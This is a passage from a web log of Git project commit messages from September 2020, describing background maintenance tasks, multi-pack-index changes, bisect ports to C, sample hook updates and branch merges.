When repacking during the 'incremental-repack' task, we use the
--batch-size option in 'git multi-pack-index repack'. The initial setting
used --batch-size=0 to repack everything into a single pack-file. This is
not sustainable for a large repository. The amount of work required is
also likely to use too many system resources for a background job.

Update the 'incremental-repack' task by dynamically computing a
--batch-size option based on the current pack-file structure.

The dynamic default size is computed with this idea in mind for a client
repository that was cloned from a very large remote: there is likely one
"big" pack-file that was created at clone time. Thus, do not try
repacking it as it is likely packed efficiently by the server.

Instead, we select the second-largest pack-file, and create a batch size
that is one larger than that pack-file. If there are three or more
pack-files, then this guarantees that at least two will be combined into
a new pack-file.

Of course, this means that the second-largest pack-file size is likely
to grow over time and may eventually surpass the initially-cloned
pack-file. Recall that the pack-file batch is selected in a greedy
manner: the packs are considered from oldest to newest and are selected
if they have size smaller than the batch size until the total selected
size is larger than the batch size. Thus, that oldest "clone" pack will
be first to repack after the new data creates a pack larger than that.

We also want to place some limits on how large these pack-files become,
in order to bound the amount of time spent repacking. A maximum
batch-size of two gigabytes means that large repositories will never be
packed into a single pack-file using this job, but also that repack is
rather expensive. This is a trade-off that is valuable to have if the
maintenance is being run automatically or in the background. Users who
truly want to optimize for space and performance (and are willing to pay
the upfront cost of a full repack) can use the 'gc' task to do so.

Create a test for this two gigabyte limit by creating an EXPENSIVE test
that generates two pack-files of roughly 2.5 gigabytes in size, then
performs an incremental repack. Check that the --batch-size argument in
the subcommand uses the hard-coded maximum.

Helped-by: Chris Torek <redacted>
Reported-by: Son Luong Ngoc <redacted>
Signed-off-by: Derrick Stolee <redacted>
Signed-off-by: Junio C Hamano <redacted>
5 years agomaintenance: add incremental-repack task
Derrick Stolee [Fri, 25 Sep 2020 12:33:36 +0000 (12:33 +0000)]
maintenance: add incremental-repack task

The previous change cleaned up loose objects using the
'loose-objects' that can be run safely in the background. Add a
similar job that performs similar cleanups for pack-files.

One issue with running 'git repack' is that it is designed to
repack all pack-files into a single pack-file. While this is the
most space-efficient way to store object data, it is not time or
memory efficient. This becomes extremely important if the repo is
so large that a user struggles to store two copies of the pack on
their disk.

Instead, perform an "incremental" repack by collecting a few small
pack-files into a new pack-file. The multi-pack-index facilitates
this process ever since 'git multi-pack-index expire' was added in
19575c7 (multi-pack-index: implement 'expire' subcommand,
2019-06-10) and 'git multi-pack-index repack' was added in ce1e4a1
(midx: implement midx_repack(), 2019-06-10).

The 'incremental-repack' task runs the following steps:

1. 'git multi-pack-index write' creates a multi-pack-index file if
   one did not exist, and otherwise will update the multi-pack-index
   with any new pack-files that appeared since the last write. This
   is particularly relevant with the background fetch job.

   When the multi-pack-index sees two copies of the same object, it
   stores the offset data into the newer pack-file. This means that
   some old pack-files could become "unreferenced" which I will use
   to mean "a pack-file that is in the pack-file list of the
   multi-pack-index but none of the objects in the multi-pack-index
   reference a location inside that pack-file."

2. 'git multi-pack-index expire' deletes any unreferenced pack-files
   and updaes the multi-pack-index to drop those pack-files from the
   list. This is safe to do as concurrent Git processes will see the
   multi-pack-index and not open those packs when looking for object
   contents. (Similar to the 'loose-objects' job, there are some Git
   commands that open pack-files regardless of the multi-pack-index,
   but they are rarely used. Further, a user that self-selects to
   use background operations would likely refrain from using those
   commands.)

3. 'git multi-pack-index repack --bacth-size=<size>' collects a set
   of pack-files that are listed in the multi-pack-index and creates
   a new pack-file containing the objects whose offsets are listed
   by the multi-pack-index to be in those objects. The set of pack-
   files is selected greedily by sorting the pack-files by modified
   time and adding a pack-file to the set if its "expected size" is
   smaller than the batch size until the total expected size of the
   selected pack-files is at least the batch size. The "expected
   size" is calculated by taking the size of the pack-file divided
   by the number of objects in the pack-file and multiplied by the
   number of objects from the multi-pack-index with offset in that
   pack-file. The expected size approximates how much data from that
   pack-file will contribute to the resulting pack-file size. The
   intention is that the resulting pack-file will be close in size
   to the provided batch size.

   The next run of the incremental-repack task will delete these
   repacked pack-files during the 'expire' step.

   In this version, the batch size is set to "0" which ignores the
   size restrictions when selecting the pack-files. It instead
   selects all pack-files and repacks all packed objects into a
   single pack-file. This will be updated in the next change, but
   it requires doing some calculations that are better isolated to
   a separate change.

These steps are based on a similar background maintenance step in
Scalar (and VFS for Git) [1]. This was incredibly effective for
users of the Windows OS repository. After using the same VFS for Git
repository for over a year, some users had _thousands_ of pack-files
that combined to up to 250 GB of data. We noticed a few users were
running into the open file descriptor limits (due in part to a bug
in the multi-pack-index fixed by af96fe3 (midx: add packs to
packed_git linked list, 2019-04-29).

These pack-files were mostly small since they contained the commits
and trees that were pushed to the origin in a given hour. The GVFS
protocol includes a "prefetch" step that asks for pre-computed pack-
files containing commits and trees by timestamp. These pack-files
were grouped into "daily" pack-files once a day for up to 30 days.
If a user did not request prefetch packs for over 30 days, then they
would get the entire history of commits and trees in a new, large
pack-file. This led to a large number of pack-files that had poor
delta compression.

By running this pack-file maintenance step once per day, these repos
with thousands of packs spanning 200+ GB dropped to dozens of pack-
files spanning 30-50 GB. This was done all without removing objects
from the system and using a constant batch size of two gigabytes.
Once the work was done to reduce the pack-files to small sizes, the
batch size of two gigabytes means that not every run triggers a
repack operation, so the following run will not expire a pack-file.
This has kept these repos in a "clean" state.

[1] https://github.com/microsoft/scalar/blob/master/Scalar.Common/Maintenance/PackfileMaintenanceStep.cs

Signed-off-by: Derrick Stolee <redacted>
Signed-off-by: Junio C Hamano <redacted>
5 years agomidx: use start_delayed_progress()
Derrick Stolee [Fri, 25 Sep 2020 12:33:35 +0000 (12:33 +0000)]
midx: use start_delayed_progress()

Now that the multi-pack-index may be written as part of auto maintenance
at the end of a command, reduce the progress output when the operations
are quick. Use start_delayed_progress() instead of start_progress().

Update t5319-multi-pack-index.sh to use GIT_PROGRESS_DELAY=0 now that
the progress indicators are conditional.

Signed-off-by: Derrick Stolee <redacted>
Signed-off-by: Junio C Hamano <redacted>
5 years agomidx: enable core.multiPackIndex by default
Derrick Stolee [Fri, 25 Sep 2020 12:33:34 +0000 (12:33 +0000)]
midx: enable core.multiPackIndex by default

The core.multiPackIndex setting has been around since c4d25228ebb
(config: create core.multiPackIndex setting, 2018-07-12), but has been
disabled by default. If a user wishes to use the multi-pack-index
feature, then they must enable this config and run 'git multi-pack-index
write'.

The multi-pack-index feature is relatively stable now, so make the
config option true by default. For users that do not use a
multi-pack-index, the only extra cost will be a file lookup to see if a
multi-pack-index file exists (once per process, per object directory).

Also, this config option will be referenced by an upcoming
"incremental-repack" task in the maintenance builtin, so move the config
option into the repository settings struct. Note that if
GIT_TEST_MULTI_PACK_INDEX=1, then we want to ignore the config option
and treat core.multiPackIndex as enabled.

Signed-off-by: Derrick Stolee <redacted>
Signed-off-by: Junio C Hamano <redacted>
5 years agomaintenance: create auto condition for loose-objects
Derrick Stolee [Fri, 25 Sep 2020 12:33:33 +0000 (12:33 +0000)]
maintenance: create auto condition for loose-objects

The loose-objects task deletes loose objects that already exist in a
pack-file, then place the remaining loose objects into a new pack-file.
If this step runs all the time, then we risk creating pack-files with
very few objects with every 'git commit' process. To prevent
overwhelming the packs directory with small pack-files, place a minimum
number of objects to justify the task.

The 'maintenance.loose-objects.auto' config option specifies a minimum
number of loose objects to justify the task to run under the '--auto'
option. This defaults to 100 loose objects. Setting the value to zero
will prevent the step from running under '--auto' while a negative value
will force it to run every time.

Signed-off-by: Derrick Stolee <redacted>
Signed-off-by: Junio C Hamano <redacted>
5 years agomaintenance: add loose-objects task
Derrick Stolee [Fri, 25 Sep 2020 12:33:32 +0000 (12:33 +0000)]
maintenance: add loose-objects task

One goal of background maintenance jobs is to allow a user to
disable auto-gc (gc.auto=0) but keep their repository in a clean
state. Without any cleanup, loose objects will clutter the object
database and slow operations. In addition, the loose objects will
take up extra space because they are not stored with deltas against
similar objects.

Create a 'loose-objects' task for the 'git maintenance run' command.
This helps clean up loose objects without disrupting concurrent Git
commands using the following sequence of events:

1. Run 'git prune-packed' to delete any loose objects that exist
   in a pack-file. Concurrent commands will prefer the packed
   version of the object to the loose version. (Of course, there
   are exceptions for commands that specifically care about the
   location of an object. These are rare for a user to run on
   purpose, and we hope a user that has selected background
   maintenance will not be trying to do foreground maintenance.)

2. Run 'git pack-objects' on a batch of loose objects. These
   objects are grouped by scanning the loose object directories in
   lexicographic order until listing all loose objects -or-
   reaching 50,000 objects. This is more than enough if the loose
   objects are created only by a user doing normal development.
   We noticed users with _millions_ of loose objects because VFS
   for Git downloads blobs on-demand when a file read operation
   requires populating a virtual file.

This step is based on a similar step in Scalar [1] and VFS for Git.
[1] https://github.com/microsoft/scalar/blob/master/Scalar.Common/Maintenance/LooseObjectsStep.cs

Signed-off-by: Derrick Stolee <redacted>
Signed-off-by: Junio C Hamano <redacted>
5 years agomaintenance: add prefetch task
Derrick Stolee [Fri, 25 Sep 2020 12:33:31 +0000 (12:33 +0000)]
maintenance: add prefetch task

When working with very large repositories, an incremental 'git fetch'
command can download a large amount of data. If there are many other
users pushing to a common repo, then this data can rival the initial
pack-file size of a 'git clone' of a medium-size repo.

Users may want to keep the data on their local repos as close as
possible to the data on the remote repos by fetching periodically in
the background. This can break up a large daily fetch into several
smaller hourly fetches.

The task is called "prefetch" because it is work done in advance
of a foreground fetch to make that 'git fetch' command much faster.

However, if we simply ran 'git fetch <remote>' in the background,
then the user running a foreground 'git fetch <remote>' would lose
some important feedback when a new branch appears or an existing
branch updates. This is especially true if a remote branch is
force-updated and this isn't noticed by the user because it occurred
in the background. Further, the functionality of 'git push
--force-with-lease' becomes suspect.

When running 'git fetch <remote> <options>' in the background, use
the following options for careful updating:

1. --no-tags prevents getting a new tag when a user wants to see
   the new tags appear in their foreground fetches.

2. --refmap= removes the configured refspec which usually updates
   refs/remotes/<remote>/* with the refs advertised by the remote.
   While this looks confusing, this was documented and tested by
   b40a50264ac (fetch: document and test --refmap="", 2020-01-21),
   including this sentence in the documentation:

Providing an empty `<refspec>` to the `--refmap` option
causes Git to ignore the configured refspecs and rely
entirely on the refspecs supplied as command-line arguments.

3. By adding a new refspec "+refs/heads/*:refs/prefetch/<remote>/*"
   we can ensure that we actually load the new values somewhere in
   our refspace while not updating refs/heads or refs/remotes. By
   storing these refs here, the commit-graph job will update the
   commit-graph with the commits from these hidden refs.

4. --prune will delete the refs/prefetch/<remote> refs that no
   longer appear on the remote.

5. --no-write-fetch-head prevents updating FETCH_HEAD.

We've been using this step as a critical background job in Scalar
[1] (and VFS for Git). This solved a pain point that was showing up
in user reports: fetching was a pain! Users do not like waiting to
download the data that was created while they were away from their
machines. After implementing background fetch, the foreground fetch
commands sped up significantly because they mostly just update refs
and download a small amount of new data. The effect is especially
dramatic when paried with --no-show-forced-udpates (through
fetch.showForcedUpdates=false).

[1] https://github.com/microsoft/scalar/blob/master/Scalar.Common/Maintenance/FetchStep.cs

Signed-off-by: Derrick Stolee <redacted>
Signed-off-by: Junio C Hamano <redacted>
5 years agocmake: ignore files generated by CMake as run in Visual Studio
Johannes Schindelin [Fri, 25 Sep 2020 14:28:29 +0000 (14:28 +0000)]
cmake: ignore files generated by CMake as run in Visual Studio

As of recent Visual Studio versions, CMake support is built-in:
https://docs.microsoft.com/en-us/cpp/build/cmake-projects-in-visual-studio?view=vs-2019

All that needs to be done is to open the worktree as a folder, and
Visual Studio will find the `CMakeLists.txt` file and automatically
generate the project files.

Let's ignore the entirety of those generated files.

Helped-by: Đoàn Trần Công Danh <redacted>
Signed-off-by: Johannes Schindelin <redacted>
Signed-off-by: Junio C Hamano <redacted>
5 years agoshortlog: change "author" variables to "ident"
Jeff King [Fri, 25 Sep 2020 07:01:50 +0000 (03:01 -0400)]
shortlog: change "author" variables to "ident"

We already match "committer", and we're about to start
matching more things. Let's use a more neutral variable to
avoid confusion.

Signed-off-by: Jeff King <redacted>
Signed-off-by: Junio C Hamano <redacted>
5 years agobisect: don't use invalid oid as rev when starting
Christian Couder [Fri, 25 Sep 2020 13:01:28 +0000 (15:01 +0200)]
bisect: don't use invalid oid as rev when starting

In 06f5608c14 (bisect--helper: `bisect_start` shell function
partially in C, 2019-01-02), we changed the following shell
code:

-      rev=$(git rev-parse -q --verify "$arg^{commit}") || {
-              test $has_double_dash -eq 1 &&
-              die "$(eval_gettext "'\$arg' does not appear to be a valid revision")"
-              break
-      }
-      revs="$revs $rev"

into:

+      char *commit_id = xstrfmt("%s^{commit}", arg);
+      if (get_oid(commit_id, &oid) && has_double_dash)
+              die(_("'%s' does not appear to be a valid "
+                    "revision"), arg);
+
+      string_list_append(&revs, oid_to_hex(&oid));
+      free(commit_id);

In case of an invalid "arg" when "has_double_dash" is false, the old
code would "break" out of the argument loop.

In the new C code though, `oid_to_hex(&oid)` is unconditonally
appended to "revs". This is wrong first because "oid" is junk as
`get_oid(commit_id, &oid)` failed and second because it doesn't break
out of the argument loop.

Not breaking out of the argument loop means that "arg" is then not
treated as a path restriction (which is wrong).

Signed-off-by: Christian Couder <redacted>
Signed-off-by: Johannes Schindelin <redacted>
Signed-off-by: Junio C Hamano <redacted>
5 years agopull: don't warn if pull.ff has been set
Alex Henrie [Fri, 25 Sep 2020 03:50:23 +0000 (21:50 -0600)]
pull: don't warn if pull.ff has been set

A user who understands enough to set pull.ff does not need additional
instructions.

Signed-off-by: Alex Henrie <redacted>
Signed-off-by: Junio C Hamano <redacted>
5 years agoblame: validate and peel the object names on the ignore list
Junio C Hamano [Fri, 25 Sep 2020 04:55:04 +0000 (21:55 -0700)]
blame: validate and peel the object names on the ignore list

The command reads list of object names to place on the ignore list
either from the command line or from a file, but they are not
checked with their object type (those read from the file are not
even checked for object existence).

Extend the oidset_parse_file() API and allow it to take a callback
that can be used to die (e.g. when an inappropriate input is read)
or modify the object name read (e.g. when a tag pointing at a commit
is read, and the caller wants a commit object name), and use it in
the code that handles ignore list.

Signed-off-by: Junio C Hamano <redacted>
5 years agot8013: minimum preparatory clean-up
Junio C Hamano [Fri, 25 Sep 2020 05:10:37 +0000 (22:10 -0700)]
t8013: minimum preparatory clean-up

The closing sq for each test piece should be placed at the beginning
of line.

Signed-off-by: Junio C Hamano <redacted>
5 years agodiff: fix modified lines stats with --stat and --numstat
Thomas Guyot-Sionnest [Thu, 24 Sep 2020 07:41:41 +0000 (03:41 -0400)]
diff: fix modified lines stats with --stat and --numstat

Only skip diffstats when both oids are valid and identical. This check
was causing both false-positives (files included in diffstats with no
actual changes (0 lines modified) and false-negatives (showing 0 lines
modified in stats when files had actually changed).

Also replaced same_contents with may_differ to avoid confusion.

Signed-off-by: Thomas Guyot-Sionnest <redacted>
Signed-off-by: Junio C Hamano <redacted>
5 years agoRevert "fast-export: use local array to store anonymized oid"
Jeff King [Thu, 24 Sep 2020 19:22:29 +0000 (15:22 -0400)]
Revert "fast-export: use local array to store anonymized oid"

This reverts commit f39ad38410da554af54966bf74fa0402355852ac.

That commit was trying to silence a type-punning warning on older
versions of gcc. However, its analysis was all wrong. I didn't notice
that we _were_ in fact type-punning because there are two versions of
put_be32(): one that uses casts and unaligned loads, and another that
uses bitshifts. I looked at the latter, but on my platform we were
defaulting to the former.

However, as of the previous commit, we'll always use the bitshift
version. So we can drop this hackery to avoid the warning, making the
code slightly cleaner.

Signed-off-by: Jeff King <redacted>
Signed-off-by: Junio C Hamano <redacted>
5 years agobswap.h: drop unaligned loads
Jeff King [Thu, 24 Sep 2020 19:21:11 +0000 (15:21 -0400)]
bswap.h: drop unaligned loads

Our put_be32() routine and its variants (get_be32(), put_be64(), etc)
has two implementations: on some platforms we cast memory in place and
use nothl()/htonl(), which can cause unaligned memory access. And on
others, we pick out the individual bytes using bitshifts.

This introduces extra complexity, and sometimes causes compilers to
generate warnings about type-punning. And it's not clear there's any
performance advantage.

This split goes back to 660231aa97 (block-sha1: support for
architectures with memory alignment restrictions, 2009-08-12). The
unaligned versions were part of the original block-sha1 code in
d7c208a92e (Add new optimized C 'block-sha1' routines, 2009-08-05),
which says it is:

   Based on the mozilla SHA1 routine, but doing the input data accesses a
   word at a time and with 'htonl()' instead of loading bytes and shifting.

Back then, Linus provided timings versus the mozilla code which showed a
27% improvement:

  https://lore.kernel.org/git/alpine.LFD.2.01.0908051545000.3390@localhost.localdomain/

However, the unaligned loads were either not the useful part of that
speedup, or perhaps compilers and processors have changed since then.
Here are times for computing the sha1 of 4GB of random data, with and
without -DNO_UNALIGNED_LOADS (and BLK_SHA1=1, of course). This is with
gcc 10, -O2, and the processor is a Core i9-9880H.

  [stock]
  Benchmark #1: t/helper/test-tool sha1 <foo.rand
    Time (mean ± σ):      6.638 s ±  0.081 s    [User: 6.269 s, System: 0.368 s]
    Range (min … max):    6.550 s …  6.841 s    10 runs

  [-DNO_UNALIGNED_LOADS]
  Benchmark #1: t/helper/test-tool sha1 <foo.rand
    Time (mean ± σ):      6.418 s ±  0.015 s    [User: 6.058 s, System: 0.360 s]
    Range (min … max):    6.394 s …  6.447 s    10 runs

And here's the same test run on an AMD A8-7600, using gcc 8.

  [stock]
  Benchmark #1: t/helper/test-tool sha1 <foo.rand
    Time (mean ± σ):     11.721 s ±  0.113 s    [User: 10.761 s, System: 0.951 s]
    Range (min … max):   11.509 s … 11.861 s    10 runs

  [-DNO_UNALIGNED_LOADS]
  Benchmark #1: t/helper/test-tool sha1 <foo.rand
    Time (mean ± σ):     11.744 s ±  0.066 s    [User: 10.807 s, System: 0.928 s]
    Range (min … max):   11.637 s … 11.863 s    10 runs

So the unaligned loads don't seem to help much, and actually make things
worse. It's possible there are platforms where they provide more
benefit, but:

  - the non-x86 platforms for which we use this code are old and obscure
    (powerpc and s390).

  - the main caller that cares about performance is block-sha1. But
    these days it is rarely used anyway, in favor of sha1dc (which is
    already much slower, and nobody seems to have cared that much).

Let's just drop unaligned versions entirely in the name of simplicity.

Signed-off-by: Jeff King <redacted>
Signed-off-by: Junio C Hamano <redacted>
5 years agobisect--helper: reimplement `bisect_next` and `bisect_auto_next` shell functions...
Pranit Bauva [Thu, 24 Sep 2020 12:33:40 +0000 (14:33 +0200)]
bisect--helper: reimplement `bisect_next` and `bisect_auto_next` shell functions in C

Reimplement the `bisect_next()` and the `bisect_auto_next()` shell functions
in C and add the subcommands to `git bisect--helper` to call them from
git-bisect.sh .

bisect_auto_next() function returns an enum bisect_error type as whole
`git bisect` can exit with an error code when bisect_next() does.

Return an error when `bisect_next()` fails, that fix a bug on shell script
version.

Using `--bisect-next` and `--bisect-auto-next` subcommands is a
temporary measure to port shell function to C so as to use the existing
test suite. As more functions are ported, `--bisect-auto-next`
subcommand will be retired and will be called by some other methods.

Mentored-by: Lars Schneider <redacted>
Mentored-by: Christian Couder <redacted>
Mentored-by: Johannes Schindelin <redacted>
Signed-off-by: Pranit Bauva <redacted>
Signed-off-by: Tanushree Tumane <redacted>
Signed-off-by: Miriam Rubio <redacted>
Signed-off-by: Junio C Hamano <redacted>
5 years agobisect: call 'clear_commit_marks_all()' in 'bisect_next_all()'
Miriam Rubio [Thu, 24 Sep 2020 12:33:39 +0000 (14:33 +0200)]
bisect: call 'clear_commit_marks_all()' in 'bisect_next_all()'

As there can be other revision walks after bisect_next_all(),
let's add a call to a function to clear all the marks at the
end of bisect_next_all().

Mentored-by: Christian Couder <redacted>
Signed-off-by: Miriam Rubio <redacted>
Signed-off-by: Junio C Hamano <redacted>
5 years agobisect--helper: reimplement `bisect_autostart` shell function in C
Pranit Bauva [Thu, 24 Sep 2020 12:33:38 +0000 (14:33 +0200)]
bisect--helper: reimplement `bisect_autostart` shell function in C

Reimplement the `bisect_autostart()` shell function in C and add the
C implementation from `bisect_next()` which was previously left
uncovered.

Add `--bisect-autostart` subcommand to be called from git-bisect.sh.
Using `--bisect-autostart` subcommand is a temporary measure to port
the shell function to C so as to use the existing test suite. As more
functions are ported, this subcommand will be retired and
bisect_autostart() will be called directly by `bisect_state()`.

Change behavior of shell script that returned success when user aborted
the bisection.

Mentored-by: Lars Schneider <redacted>
Mentored-by: Christian Couder <redacted>
Mentored-by: Johannes Schindelin <redacted>
Signed-off-by: Pranit Bauva <redacted>
Signed-off-by: Tanushree Tumane <redacted>
Signed-off-by: Miriam Rubio <redacted>
Signed-off-by: Junio C Hamano <redacted>
5 years agohooks--update.sample: use hash-agnostic zero OID
Denton Liu [Wed, 23 Sep 2020 09:38:45 +0000 (02:38 -0700)]
hooks--update.sample: use hash-agnostic zero OID

The update sample hook has the zero OID hardcoded as 40 zeros. However,
with the introduction of SHA-256 support, this assumption no longer
holds true. Replace the hardcoded $z40 with a call to

git hash-object --stdin </dev/null | tr '[0-9a-f]' '0'

so the sample hook becomes hash-agnostic.

Signed-off-by: Denton Liu <redacted>
Signed-off-by: Junio C Hamano <redacted>
5 years agohooks--pre-push.sample: use hash-agnostic zero OID
Denton Liu [Wed, 23 Sep 2020 09:38:44 +0000 (02:38 -0700)]
hooks--pre-push.sample: use hash-agnostic zero OID

The pre-push sample hook has the zero OID hardcoded as 40 zeros.
However, with the introduction of SHA-256 support, this assumption no
longer holds true. Replace the hardcoded $z40 with a call to

git hash-object --stdin </dev/null | tr '[0-9a-f]' '0'

so the sample hook becomes hash-agnostic.

Signed-off-by: Denton Liu <redacted>
Signed-off-by: Junio C Hamano <redacted>
5 years agohooks--pre-push.sample: modernize script
Denton Liu [Wed, 23 Sep 2020 09:38:43 +0000 (02:38 -0700)]
hooks--pre-push.sample: modernize script

The preferred form for a command substitution is $() over ``. Use this
form for the command substitution in the sample hook.

The preferred form for conditional tests is to use `test` over [].
Replace [] with `test`.

Finally, replace all instances of "sha" with "oid".

Signed-off-by: Denton Liu <redacted>
Signed-off-by: Junio C Hamano <redacted>
5 years agoSixteenth batch
Junio C Hamano [Tue, 22 Sep 2020 19:25:27 +0000 (12:25 -0700)]
Sixteenth batch

Signed-off-by: Junio C Hamano <redacted>
5 years agoMerge branch 'ar/fetch-ipversion-in-all'
Junio C Hamano [Tue, 22 Sep 2020 19:36:34 +0000 (12:36 -0700)]
Merge branch 'ar/fetch-ipversion-in-all'

"git fetch --all --ipv4/--ipv6" forgot to pass the protocol options
to instances of the "git fetch" that talk to individual remotes,
which has been corrected.

* ar/fetch-ipversion-in-all:
  fetch: pass --ipv4 and --ipv6 options to sub-fetches

5 years agoMerge branch 'dl/complete-format-patch-recent-features'
Junio C Hamano [Tue, 22 Sep 2020 19:36:33 +0000 (12:36 -0700)]
Merge branch 'dl/complete-format-patch-recent-features'

Update to command line completion (in contrib/)

* dl/complete-format-patch-recent-features:
  contrib/completion: complete options that take refs for format-patch

5 years agoMerge branch 'cs/don-t-pretend-a-failed-remote-set-head-succeeded'
Junio C Hamano [Tue, 22 Sep 2020 19:36:32 +0000 (12:36 -0700)]
Merge branch 'cs/don-t-pretend-a-failed-remote-set-head-succeeded'

"git remote set-head" that failed still said something that hints
the operation went through, which was misleading.

* cs/don-t-pretend-a-failed-remote-set-head-succeeded:
  remote: don't show success message when set-head fails

5 years agoMerge branch 'jk/dont-count-existing-objects-twice'
Junio C Hamano [Tue, 22 Sep 2020 19:36:31 +0000 (12:36 -0700)]
Merge branch 'jk/dont-count-existing-objects-twice'

There is a logic to estimate how many objects are in the
repository, which is mean to run once per process invocation, but
it ran every time the estimated value was requested.

* jk/dont-count-existing-objects-twice:
  packfile: actually set approximate_object_count_valid

5 years agoMerge branch 'al/ref-filter-merged-and-no-merged'
Junio C Hamano [Tue, 22 Sep 2020 19:36:31 +0000 (12:36 -0700)]
Merge branch 'al/ref-filter-merged-and-no-merged'

"git for-each-ref" and friends that list refs used to allow only
one --merged or --no-merged to filter them; they learned to take
combination of both kind of filtering.

* al/ref-filter-merged-and-no-merged:
  Doc: prefer more specific file name
  ref-filter: make internal reachable-filter API more precise
  ref-filter: allow merged and no-merged filters
  Doc: cover multiple contains/no-contains filters
  t3201: test multiple branch filter combinations

5 years agoMerge branch 'cd/commit-graph-doc'
Junio C Hamano [Tue, 22 Sep 2020 19:36:30 +0000 (12:36 -0700)]
Merge branch 'cd/commit-graph-doc'

Doc update.

* cd/commit-graph-doc:
  commit-graph-format.txt: fix no-parent value

5 years agoMerge branch 'kk/build-portability-fix'
Junio C Hamano [Tue, 22 Sep 2020 19:36:29 +0000 (12:36 -0700)]
Merge branch 'kk/build-portability-fix'

Portability tweak for some shell scripts used while building.

* kk/build-portability-fix:
  Fit to Plan 9's ANSI/POSIX compatibility layer

5 years agoMerge branch 'ls/mergetool-meld-auto-merge'
Junio C Hamano [Tue, 22 Sep 2020 19:36:29 +0000 (12:36 -0700)]
Merge branch 'ls/mergetool-meld-auto-merge'

The 'meld' backend of the "git mergetool" learned to give the
underlying 'meld' the '--auto-merge' option, which would help
reduce the amount of text that requires manual merging.

* ls/mergetool-meld-auto-merge:
  mergetool: allow auto-merge for meld to follow the vim-diff behavior

5 years agoMerge branch 'pw/add-p-edit-ita-path'
Junio C Hamano [Tue, 22 Sep 2020 19:36:28 +0000 (12:36 -0700)]
Merge branch 'pw/add-p-edit-ita-path'

"add -p" now allows editing paths that were only added in intent.

* pw/add-p-edit-ita-path:
  add -p: fix editing of intent-to-add paths

5 years agoMerge branch 'hn/refs-trace-backend'
Junio C Hamano [Tue, 22 Sep 2020 19:36:28 +0000 (12:36 -0700)]
Merge branch 'hn/refs-trace-backend'

Developer support.

* hn/refs-trace-backend:
  refs: add GIT_TRACE_REFS debugging mechanism

5 years agoMerge branch 'jt/threaded-index-pack'
Junio C Hamano [Tue, 22 Sep 2020 19:36:28 +0000 (12:36 -0700)]
Merge branch 'jt/threaded-index-pack'

"git index-pack" learned to resolve deltified objects with greater
parallelism.

* jt/threaded-index-pack:
  index-pack: make quantum of work smaller
  index-pack: make resolve_delta() assume base data
  index-pack: calculate {ref,ofs}_{first,last} early
  index-pack: remove redundant child field
  index-pack: unify threaded and unthreaded code
  index-pack: remove redundant parameter
  Documentation: deltaBaseCacheLimit is per-thread

5 years agoMerge branch 'es/format-patch-interdiff-cleanup'
Junio C Hamano [Tue, 22 Sep 2020 19:36:28 +0000 (12:36 -0700)]
Merge branch 'es/format-patch-interdiff-cleanup'

"format-patch --range-diff=<prev> <origin>..HEAD" has been taught
not to ignore <origin> when <prev> is a single version.

* es/format-patch-interdiff-cleanup:
  format-patch: use 'origin' as start of current-series-range when known
  diff-lib: tighten show_interdiff()'s interface
  diff: move show_interdiff() from its own file to diff-lib

5 years agoMerge branch 'os/fetch-submodule-optim'
Junio C Hamano [Tue, 22 Sep 2020 19:36:28 +0000 (12:36 -0700)]
Merge branch 'os/fetch-submodule-optim'

Optimization around submodule handling.

* os/fetch-submodule-optim:
  fetch: do not look for submodule changes in unchanged refs

5 years agobuiltin/clone: avoid failure with GIT_DEFAULT_HASH
brian m. carlson [Sun, 20 Sep 2020 22:35:41 +0000 (22:35 +0000)]
builtin/clone: avoid failure with GIT_DEFAULT_HASH

If a user is cloning a SHA-1 repository with GIT_DEFAULT_HASH set to
"sha256", then we can end up with a repository where the repository
format version is 0 but the extensions.objectformat key is set to
"sha256".  This is both wrong (the user has a SHA-1 repository) and
nonfunctional (because the extension cannot be used in a v0 repository).

This happens because in a clone, we initially set up the repository, and
then change its algorithm based on what the remote side tells us it's
using.  We've initially set up the repository as SHA-256 in this case,
and then later on reset the repository version without clearing the
extension.

We could just always set the extension in this case, but that would mean
that our SHA-1 repositories weren't compatible with older Git versions,
even though there's no reason why they shouldn't be.  And we also don't
want to initialize the repository as SHA-1 initially, since that means
if we're cloning an empty repository, we'll have failed to honor the
GIT_DEFAULT_HASH variable and will end up with a SHA-1 repository, not a
SHA-256 repository.

Neither of those are appealing, so let's tell the repository
initialization code if we're doing a reinit like this, and if so, to
clear the extension if we're using SHA-1.  This makes sure we produce a
valid and functional repository and doesn't break any of our other use
cases.

Reported-by: Matheus Tavares <redacted>
Signed-off-by: brian m. carlson <redacted>
Signed-off-by: Junio C Hamano <redacted>
5 years agoMerge branch 'st/spaces-tabs-cleanup' into master
Pratyush Yadav [Tue, 22 Sep 2020 09:51:19 +0000 (15:21 +0530)]
Merge branch 'st/spaces-tabs-cleanup' into master

Clean up some whitespace.

* st/spaces-tabs-cleanup:
  git-gui: fix mixed tabs and spaces; prefer tabs

5 years agogit-gui: fix mixed tabs and spaces; prefer tabs
Serg Tereshchenko [Sat, 22 Aug 2020 22:24:31 +0000 (01:24 +0300)]
git-gui: fix mixed tabs and spaces; prefer tabs

Spaces are replaced with tabs when possible. In some cases just
replacing spaces with tabs would break readability, so it was left as it
is.

Signed-off-by: Serg Tereshchenko <redacted>
Signed-off-by: Pratyush Yadav <redacted>
5 years agodiff-highlight: correctly match blank lines for flush
Jeff King [Tue, 22 Sep 2020 05:00:33 +0000 (01:00 -0400)]
diff-highlight: correctly match blank lines for flush

We try to flush the output from diff-highlight whenever we see a blank
line. That lets you see the output for each commit as soon as it is
generated, even if Git is still chugging away at a diff, or traversing
to find the next commit.

However, our "blank line" match checks length($_). That won't ever be
true, because we haven't chomped the line ending. As a result, we never
flush. Instead, let's use a simple regex which handles line endings in
with the end-of-line marker.

This has been broken since the initial version in 927a13fe87 (contrib:
add diff highlight script, 2011-10-18). Probably nobody noticed because:

  - most output is big enough, or comes fast enough, that it flushes
    anyway. And it can be difficult to notice the difference between
    "show a commit, then pause" and "pause, then show two commits". I
    only noticed because I was viewing "git log" output on a repo with a
    very slow textconv filter.

  - if stdout is going to the terminal (and not another pager like
    less), then the flush isn't necessary. So any manual testing would
    show it appearing to work.

You can easily see the difference with something like:

  echo '* diff=slow' >>.gitattributes
  git -c diff.slow.textconv='sleep 1; cat' \
      -c pager.log='diff-highlight | less' \
      log -p

That should generate one commit every second or so (more if it touches
multiple files), but without this patch it waits for many seconds before
generating several pages of output.

Signed-off-by: Jeff King <redacted>
Signed-off-by: Junio C Hamano <redacted>
5 years agopromisor-remote: remove unused variable
Jonathan Tan [Tue, 22 Sep 2020 03:03:56 +0000 (20:03 -0700)]
promisor-remote: remove unused variable

